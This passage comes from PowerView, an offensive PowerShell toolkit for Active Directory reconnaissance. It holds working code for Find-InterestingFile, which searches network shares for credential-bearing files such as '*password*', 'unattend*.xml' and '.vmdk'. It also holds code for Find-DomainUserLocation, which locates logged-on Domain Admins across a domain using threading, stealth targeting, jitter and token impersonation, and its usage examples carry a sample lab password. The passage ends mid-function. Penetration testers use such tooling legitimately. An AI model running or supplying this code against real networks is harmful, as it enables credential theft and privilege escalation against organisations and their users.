ExcludeHidden + +Switch. Exclude hidden files and folders from the search results. + +.PARAMETER CheckWriteAccess + +Switch. Only returns files the current user has write access to. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +to connect to remote systems for file enumeration. + +.EXAMPLE + +Find-InterestingFile -Path "C:\Backup\" + +Returns any files on the local path C:\Backup\ that have the default +search term set in the title. + +.EXAMPLE + +Find-InterestingFile -Path "\\WINDOWS7\Users\" -LastAccessTime (Get-Date).AddDays(-7) + +Returns any files on the remote path \\WINDOWS7\Users\ that have the default +search term set in the title and were accessed within the last week. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-InterestingFile -Credential $Cred -Path "\\PRIMARY.testlab.local\C$\Temp\" + +.OUTPUTS + +PowerView.FoundFile +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.FoundFile')] + [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [String[]] + $Path = '.\', + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [Alias('SearchTerms', 'Terms')] + [String[]] + $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $LastAccessTime, + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $LastWriteTime, + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $CreationTime, + + [Parameter(ParameterSetName = 'OfficeDocs')] + [Switch] + $OfficeDocs, + + [Parameter(ParameterSetName = 'FreshEXEs')] + [Switch] + $FreshEXEs, + + [Parameter(ParameterSetName = 'FileSpecification')] + [Switch] + $ExcludeFolders, + + [Parameter(ParameterSetName = 'FileSpecification')] + [Switch] + $ExcludeHidden, + + [Switch] + $CheckWriteAccess, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{ + 'Recurse' = $True + 'ErrorAction' = 'SilentlyContinue' + 'Include' = $Include + } + if ($PSBoundParameters['OfficeDocs']) { + $SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') + } + elseif ($PSBoundParameters['FreshEXEs']) { + # find .exe's accessed within the last 7 days + $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy') + $SearcherArguments['Include'] = @('*.exe') + } + $SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden'] + + $MappedComputers = @{} + + function Test-Write { + # short helper to check is the current user can write to a file + [CmdletBinding()]Param([String]$Path) + try { + $Filetest = [IO.File]::OpenWrite($Path) + $Filetest.Close() + $True + } + catch { + $False + } + } + } + + PROCESS { + ForEach ($TargetPath in $Path) { + if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $HostComputer = (New-Object System.Uri($TargetPath)).Host + if (-not $MappedComputers[$HostComputer]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential + $MappedComputers[$HostComputer] = $True + } + } + + $SearcherArguments['Path'] = $TargetPath + Get-ChildItem @SearcherArguments | ForEach-Object { + # check if we're excluding folders + $Continue = $True + if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) { + Write-Verbose "Excluding: $($_.FullName)" + $Continue = $False + } + if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) { + $Continue = $False + } + if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) { + $Continue = $False + } + if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) { + $Continue = $False + } + if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) { + $Continue = $False + } + if ($Continue) { + $FileParams = @{ + 'Path' = $_.FullName + 'Owner' = $((Get-Acl $_.FullName).Owner) + 'LastAccessTime' = $_.LastAccessTime + 'LastWriteTime' = $_.LastWriteTime + 'CreationTime' = $_.CreationTime + 'Length' = $_.Length + } + $FoundFile = New-Object -TypeName PSObject -Property $FileParams + $FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile') + $FoundFile + } + } + } + } + + END { + # remove the IPC$ mappings + $MappedComputers.Keys | Remove-RemoteConnection + } +} + + +######################################################## +# +# 'Meta'-functions start below +# +######################################################## + +function New-ThreadedFunction { + # Helper used by any threaded host enumeration functions + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [String[]] + $ComputerName, + + [Parameter(Position = 1, Mandatory = $True)] + [System.Management.Automation.ScriptBlock] + $ScriptBlock, + + [Parameter(Position = 2)] + [Hashtable] + $ScriptParameters, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20, + + [Switch] + $NoImports + ) + + BEGIN { + # Adapted from: + # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ + $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() + + # # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() + # force a single-threaded apartment state (for token-impersonation stuffz) + $SessionState.ApartmentState = [System.Threading.ApartmentState]::STA + + # import the current session state's variables and functions so the chained PowerView + # functionality can be used by the threaded blocks + if (-not $NoImports) { + # grab all the current variables for this runspace + $MyVars = Get-Variable -Scope 2 + + # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice + $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true') + + # add Variables from Parent Scope (current runspace) into the InitialSessionState + ForEach ($Var in $MyVars) { + if ($VorbiddenVars -NotContains $Var.Name) { + $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) + } + } + + # add Functions from current runspace to the InitialSessionState + ForEach ($Function in (Get-ChildItem Function:)) { + $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) + } + } + + # threading adapted from + # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 + # Thanks Carlos! + + # create a pool of maxThread runspaces + $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) + $Pool.Open() + + # do some trickery to get the proper BeginInvoke() method that allows for an output queue + $Method = $Null + ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) { + $MethodParameters = $M.GetParameters() + if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') { + $Method = $M.MakeGenericMethod([Object], [Object]) + break + } + } + + $Jobs = @() + $ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()} + Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)" + + # partition all hosts from -ComputerName into $Threads number of groups + if ($Threads -ge $ComputerName.Length) { + $Threads = $ComputerName.Length + } + $ElementSplitSize = [Int]($ComputerName.Length/$Threads) + $ComputerNamePartitioned = @() + $Start = 0 + $End = $ElementSplitSize + + for($i = 1; $i -le $Threads; $i++) { + $List = New-Object System.Collections.ArrayList + if ($i -eq $Threads) { + $End = $ComputerName.Length + } + $List.AddRange($ComputerName[$Start..($End-1)]) + $Start += $ElementSplitSize + $End += $ElementSplitSize + $ComputerNamePartitioned += @(,@($List.ToArray())) + } + + Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads" + + ForEach ($ComputerNamePartition in $ComputerNamePartitioned) { + # create a "powershell pipeline runner" + $PowerShell = [PowerShell]::Create() + $PowerShell.runspacepool = $Pool + + # add the script block + arguments with the given computer partition + $Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition) + if ($ScriptParameters) { + ForEach ($Param in $ScriptParameters.GetEnumerator()) { + $Null = $PowerShell.AddParameter($Param.Name, $Param.Value) + } + } + + # create the output queue + $Output = New-Object Management.Automation.PSDataCollection[Object] + + # kick off execution using the BeginInvok() method that allows queues + $Jobs += @{ + PS = $PowerShell + Output = $Output + Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output)) + } + } + } + + END { + Write-Verbose "[New-ThreadedFunction] Threads executing" + + # continuously loop through each job queue, consuming output as appropriate + Do { + ForEach ($Job in $Jobs) { + $Job.Output.ReadAll() + } + Start-Sleep -Seconds 1 + } + While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0) + + $SleepSeconds = 100 + Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..." + + # cleanup- make sure we didn't miss anything + for ($i=0; $i -lt $SleepSeconds; $i++) { + ForEach ($Job in $Jobs) { + $Job.Output.ReadAll() + $Job.PS.Dispose() + } + Start-Sleep -S 1 + } + + $Pool.Dispose() + Write-Verbose "[New-ThreadedFunction] all threads completed" + } +} + + +function Find-DomainUserLocation { +<# +.SYNOPSIS + +Finds domain machines where specific users are logged into. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and queries the domain for users of a specified group +(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the +function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon +The found user list is compared against the target list, and any matches are +displayed. If -ShowAll is specified, all results are displayed instead of +the filtered set. If -Stealth is specified, then likely highly-trafficed servers +are enumerated with Get-DomainFileServer/Get-DomainController, and session +enumeration is executed only against those servers. If -Credential is passed, +then Invoke-UserImpersonation is used to impersonate the specified user +before enumeration, reverting after with Invoke-RevertToSelf. + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER Domain + +Specifies the domain to query for computers AND users, defaults to the current domain. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerUnconstrained + +Switch. Search computer objects that have unconstrained delegation. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER UserIdentity + +Specifies one or more user identities to search for. + +.PARAMETER UserDomain + +Specifies the domain to query for users to search for, defaults to the current domain. + +.PARAMETER UserLDAPFilter + +Specifies an LDAP query string that is used to search for target users. + +.PARAMETER UserSearchBase + +Specifies the LDAP source to search through for target users. +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER UserGroupIdentity + +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. + +.PARAMETER UserAdminCount + +Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). + +.PARAMETER UserAllowDelegation + +Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'. + +.PARAMETER CheckAccess + +Switch. Check if the current user has local admin access to computers where target users are found. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER StopOnSuccess + +Switch. Stop hunting after finding after finding a target user. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER ShowAll + +Switch. Return all user location results instead of filtering based on target +specifications. + +.PARAMETER Stealth + +Switch. Only enumerate sessions from connonly used target servers. + +.PARAMETER StealthSource + +The source of target servers to use, 'DFS' (distributed file servers), +'DC' (domain controllers), 'File' (file servers), or 'All' (the default). + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-DomainUserLocation + +Searches for 'Domain Admins' by enumerating every computer in the domain. + +.EXAMPLE + +Find-DomainUserLocation -Stealth -ShowAll + +Enumerates likely highly-trafficked servers, performs just session enumeration +against each, and outputs all results. + +.EXAMPLE + +Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local + +Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged +users in dev.testlab.local. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainUserLocation -Domain testlab.local -Credential $Cred + +Searches for domain admin locations in the testlab.local using the specified alternate credentials. + +.OUTPUTS + +PowerView.UserLocation +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.UserLocation')] + [CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [Alias('Unconstrained')] + [Switch] + $ComputerUnconstrained, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Parameter(ParameterSetName = 'UserIdentity')] + [ValidateNotNullOrEmpty()] + [String[]] + $UserIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $UserDomain, + + [ValidateNotNullOrEmpty()] + [String] + $UserLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $UserSearchBase, + + [Parameter(ParameterSetName = 'UserGroupIdentity')] + [ValidateNotNullOrEmpty()] + [Alias('GroupName', 'Group')] + [String[]] + $UserGroupIdentity = 'Domain Admins', + + [Alias('AdminCount')] + [Switch] + $UserAdminCount, + + [Alias('AllowDelegation')] + [Switch] + $UserAllowDelegation, + + [Switch] + $CheckAccess, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $StopOnSuccess, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Parameter(ParameterSetName = 'ShowAll')] + [Switch] + $ShowAll, + + [Switch] + $Stealth, + + [String] + [ValidateSet('DFS', 'DC', 'File', 'All')] + $StealthSource = 'All', + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + $UserSearcherArguments = @{ + 'Properties' = 'samaccountname' + } + if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } + if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } + if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } + if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + $TargetComputers = @() + + # first, build the set of computers to enumerate + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = @($ComputerName) + } + else { + if ($PSBoundParameters['Stealth']) { + Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource" + $TargetComputerArrayList = New-Object System.Collections.ArrayList + + if ($StealthSource -match 'File|All') { + Write-Verbose '[Find-DomainUserLocation] Querying for file servers' + $FileServerSearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential } + $FileServers = Get-DomainFileServer @FileServerSearcherArguments + if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) } + $TargetComputerArrayList.AddRange( $FileServers ) + } + if ($StealthSource -match 'DFS|All') { + Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers' + # # TODO: fix the passed parameters to Get-DomainDFSShare + # $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName} + } + if ($StealthSource -match 'DC|All') { + Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers' + $DCSearcherArguments = @{ + 'LDAP' = $True + } + if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } + $DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname + if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) } + $TargetComputerArrayList.AddRange( $DomainControllers ) + } + $TargetComputers = $TargetComputerArrayList.ToArray() + } + else { + Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + } + Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainUserLocation] No hosts found to enumerate' + } + + # get the current user so we can ignore it in the results + if ($PSBoundParameters['Credential']) { + $CurrentUser = $Credential.GetNetworkCredential().UserName + } + else { + $CurrentUser = ([Environment]::UserName).ToLower() + } + + # now build the user target set + if ($PSBoundParameters['ShowAll']) { + $TargetUsers = @() + } + elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { + $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname + } + else { + $GroupSearcherArguments = @{ + 'Identity' = $UserGroupIdentity + 'Recurse' = $True + } + if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } + $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName + } + + Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)" + if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) { + throw '[Find-DomainUserLocation] No users found to target' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle) + + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + $Sessions = Get-NetSession -ComputerName $TargetComputer + ForEach ($Session in $Sessions) { + $UserName = $Session.UserName + $CName = $Session.CName + + if ($CName -and $CName.StartsWith('\\')) { + $CName = $CName.TrimStart('\') + } + + # make sure we have a result, and ignore computer$ sessions + if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) { + + if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) { + $UserLocation = New-Object PSObject + $UserLocation | Add-Member Noteproperty 'UserDomain' $Null + $UserLocation | Add-Member Noteproperty 'UserName' $UserName + $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer + $UserLocation | Add-Member Noteproperty 'SessionFrom' $CName + + # try to resolve the DNS hostname of $Cname + try { + $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName + $UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName + } + catch { + $UserLocation | Add-Member NoteProperty 'SessionFromName' $Null + } + + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin + } + else { + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null + } + $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') + $UserLocation + } + } + } + if (-not $Stealth) { + # if we're not 'stealthy', enumerate loggedon users as well + $LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer + ForEach ($User in $LoggedOn) { + $UserName = $User.UserName + $UserDomain = $User.LogonDomain + + # make sure wet have a result + if (($UserName) -and ($UserName.trim() -ne '')) { + if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) { + $IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress + $UserLocation = New-Object PSObject + $UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain + $UserLocation | Add-Member Noteproperty 'UserName' $UserName + $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer + $UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress + $UserLocation | Add-Member Noteproperty 'SessionFrom' $Null + $UserLocation | Add-Member Noteproperty 'SessionFromName' $Null + + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = Test-AdminAccess -ComputerName $TargetComputer + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin + } + else { + $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null + } + $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') + $UserLocation + } + } + } + } + } + } + + if ($TokenHandle) { + Invoke-RevertToSelf + } + } + + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken + + if ($Result -and $StopOnSuccess) { + Write-Verbose "[Find-DomainUserLocation] Target user found, returning early" + return + } + } + } + else { + Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads" + Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'TargetUsers' = $TargetUsers + 'CurrentUser' = $CurrentUser + 'Stealth' = $Stealth + 'TokenHandle' = $LogonToken + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } + + END { + if ($LogonToken) { + 